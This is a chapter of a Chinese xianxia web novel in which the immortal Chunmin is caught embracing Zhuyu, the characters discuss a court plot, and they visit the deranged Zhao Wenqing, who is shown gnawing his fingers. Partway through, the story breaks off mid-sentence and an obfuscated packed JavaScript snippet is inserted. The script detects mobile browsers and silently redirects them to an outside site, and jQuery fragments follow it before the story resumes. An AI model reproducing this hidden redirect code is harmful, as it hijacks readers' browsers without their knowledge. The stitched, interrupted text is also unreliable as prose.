默认冷灰
24号文字
方正启体

25. 千钧将一羽(七)

作者:黄金乡本书字数:K更新时间:
    谁知春悯一伸手,拍开他那扇子,气笑了:“这礼天阁的手段怎么还不如村口造谣的碎嘴子呢。”


    珠玉的扇子头一偏,整个人也愣住了。


    “还有你,你笑什么。”春悯说,“就算您本事大,不至于真叫他们作践,可也是让人这么往死里算计了,我瞧着您平日里气性大得很,怎么这会儿又能嬉皮笑脸的,不把那群人抽筋扒皮您也能咽下这口气?”


    看着对方还这副懵懂的模样,春悯莫名有点来气,一边说着一边伸手,径直抄起珠玉的腋下,要把他从自己腿上提溜走,谁知还没举起来,就听一高一中一低三声惊叫!


    春悯和珠玉同时转头,便见方因方果和李四站在门边,六只眼瞪出十个大地看着他们!


    这一下惊吓非同小可,春悯手一松,珠玉又掉回他腿间,身形一晃,直接埋进他怀里了。


    “啊……”李四不知该作何反应,只晓得蒙着眼,大叫道,“我、我、你们——我、我面具呢、面、面面面面具——”


    他戴着面具四处找面具,头一偏,先看见呆若木鸡的方因方果,又见院中一人披头散发,形容癫狂,双手抱头蹲在院里,周围飞沙走石,好不可怕。


    “这到底是……”


    方因方果年方十五,先是全然愣在原地,但很快回过神,怒道:“光天化日之下你们竟然——竟、竟然——寡廉鲜耻!仙京的神仙果然没有好东西!”


    春悯傻了:“你们不知道?”


    方因道:“知道什么?”


    “他们当然不知道。”珠玉不急着站起来,反倒凑到他耳边小声道,“他们还以为自己真能杀了尊君呢。”


    春悯被耳边的湿气吹得打颤,连忙又伸手要把珠玉放到一边,企图保全自己岌岌可危的清誉:“听我说,事情不是你们想的那样……”


    “啪。”


    福无双至,祸不单行。


    只听一声脆响,一个陶瓷果盆落地,碎成一片。


    成大器站在门口,左手的茶点还没吃进嘴里,右手的果盆就已经砸在了地上。两只眼瞪如牛目,嘴巴一时半会儿合不上,就这么静默了数息,把茶点塞进了嘴里,一边神游天外一边嚼嚼嚼。


    春悯捂脸,彻底没脸见人了。


    //


    见不见人也不是春悯说了算的。


    一时间,成大器的宅子里挤满了人。榻上躺着力竭晕倒的陆不尽,床前尽孝的是自认为犯了大错的三镜仙,方因和方果蹲在角落不敢吱声,李四想跟他们挤一起被拒绝了,只能去另一个角落蹲着。


    桌边坐着剩下的三人,成大器咀嚼着空气,装作嘴巴很忙,珠玉托着腮,一副乖巧地听别人拿主意的模样,仿佛吃礼天阁鬼蜮两份薪酬混上仙京执行邪恶计划的人不是他一样。


    这么多人没一个有开口的意思,俨然将开这个尴尬的口的重任,撇给了春悯一人。


    春悯宅了两百多年,觉得自己多少有点怕人了,把面前的茶一股脑灌下去,才沉尴尬道:“各位……先认识一下吧。”


    “不必。”拆台的来得倒是很快,蹲角落的小孩儿冷冷道,“三始神之一的倏山仙,哀生圣者,百杀真君,天上天下独一份的三衔神官,谁人不知谁人不晓?”


    李四下意识接到:“我就没看出来啊。”


    顿了顿,又说:“你们不也一开始没认出来?”


    此乃真话,方因方果重重“哼”了声,别过脸不说话了。


    “不是说认识我。”春悯挠了挠脖子,“是说诸位都彼此认识一下吧。”


    见没什么人跳出来自我介绍,春悯只能清了清嗓子,把人逐个念了一遍,到了珠玉那儿是,只说是礼天阁的祝祷,对面的成大器没憋住,还是问了:“你们方才……”


    春悯忙道:“是误会!”


    “误会什么!”方因跳起来道,“你分明就是垂涎祝祷的美色!上来之前阁老便同我们说了,神仙里不乏淫邪好色之徒,要我们务必盯紧了,你都把人抱腿上了,还有什么好说的!”


    “放屁!”春悯还没说什么,李四已经一跃而起,义愤填膺道,“倏山仙才不是这种人,分明是你们那个什么祝祷贪图倏山仙的英俊潇洒,在那儿投怀送抱!寡廉鲜耻!”


    “你怎么信口雌黄!”


    “你们才是臭不要脸!”


    眼看是要打起来了,春悯忙站起来道:“好了,快停。我说了只是误会,他摔倒了,我扶了一下,结果我自个儿太虚又扯着人摔下去了,仅此而已,没有别的!”


    “比起这个。”春悯看向李四,“您到底使了什么手段混进去的?这群礼天阁的要干什么您知道吗?”


    李四一愣。他其实还不太能将“春眠”和“春悯”这两个人合二为一,心里有些乱,但还是下意识答道:“绑、绑了他们里的一个人,然后换了人的衣服……”


    春悯:“啊?”


    “我、我没办法……”李四断断续续道,“我、我就想看一眼……”


    珠玉偏过头,忽然开口:“看一眼什么?”


    李四被他吓了一跳,整个人快挤进墙角里了,小声道:“无、无上尊君。”


    珠玉冷笑一声,没接茬。


    李四虽然害怕,但还是皱眉道:“大殿上数你对尊君不敬!你一个凡人,怎敢这般嚣张行事!”


    珠玉说:“我又没承他的恩,为何要对他恭敬?”


    “你这人——”李四气得有些想跺脚,被珠玉淡淡一瞥,不知怎得就有些怂,最后还是窝囊地缩回了角落。


    春悯摇摇头,觉得养十头三毛都没这么麻烦。他看向成大器,总算找到了谈正事的时机,开口道:“殿上如何了?”


    成大器还是一副神游天外的模样,嘴上却流畅地接道:“吵得不可开交,尊君让祝礼众先散了,又和我们说说,两月后再详谈此事做个决议,接着就让散了。”


    “两月后,这么急?”


    “祝礼众两月后便要回去了。”珠玉说,“若是要拍板,自然要由我等把消息带回去。”


    提到此事,方因方果才终于想起来。这珠玉在大殿上演的那出,分明不是事先商量好的!什么考绩,什么推庙,阁老分明没有交代过这些!


    他们齐齐转头,却又不敢在这种场合下质问“为何不配合着杀了尊君”,只能目光复杂地对视一眼。


    “有理。”春悯点头,忽然起身,对成大器和珠玉说,“疏怀圣者现在何处。”


    成大器说:“后院。”


    “且带我们先去看看吧。”


    成大器又说:“我们?”


    春悯看了眼珠玉,点了点头:“对,我和他。”


    成大器晕晕乎乎地“哦”了一声,领着二人往后院走去。


    出了前厅,踏上了衔接前后的游廊。成大器没什么附庸风雅的爱好,院子里乱七八糟地种着些梧桐树,大半被杂草


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977915|177891||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    掩盖,游廊里的吊兰也长成了一头狂草,瞧着没人修剪过。


    偌大个府中仙童也只有两个,肩并肩坐在廊下吃饼子,扫帚扔在一遍,偷懒被抓了个现行也不慌不忙,连起来行礼都没有,只是咬着饼子痴痴地笑,珠圆玉润得像对年娃。


    待进了乐天苑里,外头那生意盎然的景象便不见了。


    屋子里黑漆漆的,几扇门窗全部都关着,还用米浆又糊了几层纸上去,像是生怕里头的东西见了光。


    “小心点。”成大器说,“一会儿又吓着他了。”


    春悯依言放轻了脚步,从外间小心翼翼地进了里屋,掀帘的时候都小心翼翼的,掀起来之后,等后面的珠玉和成大器都过来了,才慢慢地放下了帘。


    他抬眼看去,一点豆大的烛火放在台上,隐约能瞧见床上一个坟包样的突起。


    若不是里面传来了奇怪的咔吱声,都叫人疑心赵文清是不是已经死在里面了。


    春悯走上前,一把掀开了被子。


    只见赵文清穿着单衣,抱膝蜷缩着。下巴搁在瘦骨嶙峋的腿上,只露出一双眼皮不自主打颤的眼来,一只手死死抱膝,另一只手塞在嘴里,嘴里一片血肉模糊,一片片的指甲被他生啃下来,发出瘆人的动静。


    被人掀了被子,他竟一时没能反应过来。只是脸下意识地抬了起来,眼珠却过了许久才跟上。


    定格在春悯脸上的一瞬间,他才面色骤变,像被有钱人家的狗咬了一样,一边疼得五官扭曲,一边却在赔着笑脸,手脚乱爬地跪在床上,猛地开始磕头。


    褥子挺厚,倒是磕不疼他。


    可那一声声头往床板上砸的“咚”声,这卑鄙得连乞丐都不如的作派,又叫人难以想象这是一个位列仙班之人在做戏。


    春悯叹了口气,将被子盖了回去。


    赵文清似乎分辨不出周围的光暗是因为什么,只觉得自己看不见人了,便慢慢停了磕头,重新缩回那安静的坟包。


    诡异的咔吱声又响了,这回听起来,像是已经啃到手骨了。


    “瞧着是真疯了。”珠玉幽幽道,“要再试试吗?”


    春悯说:“无论真假,他能面不改色地把自己的手指咬成这样,便是动别的刑也没什么大用了。就这么关着吧,若是假的,总有一天回露出破绽,若是真的,兴许什么时候就恢复正常了。”


    见周围没了旁的人了,成大器才鼓起勇气问道:“春悯,这人是……”


    避开了那几人,春悯才说:“这位是我的朋友,珠玉。”


    成大器奇道:“你的朋友?这才几天,你什么时候交的朋友?哪种朋友?”


    “……朋友便是朋友,还能有哪种朋友?”


    “可——”


    “好了,说正事。”春悯收起笑意,正色道,“三镜仙已经把事情都跟你说了吧。”


    成大器点点头,有些不安地看了看珠玉。但春悯俨然一副此人可以信任的样子,便只能硬着头皮继续道:“都说了,但是涉及到陆不苦的地方都设有禁忌,还是不知道陆不苦的事和赵文清有没有关系。”


    春悯摇头:“若是毫无关系,又怎会触碰禁忌?”


    成大器说:“那你打算怎么办?去虚邙河吗?”


    “清川真君在虚邙河徘徊两百年也找不到线索,而且狂语真君死于虚邙河本就是赵文清的说辞,我去那里想来也不会有什么收获。”春悯说,“我打算去中青。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)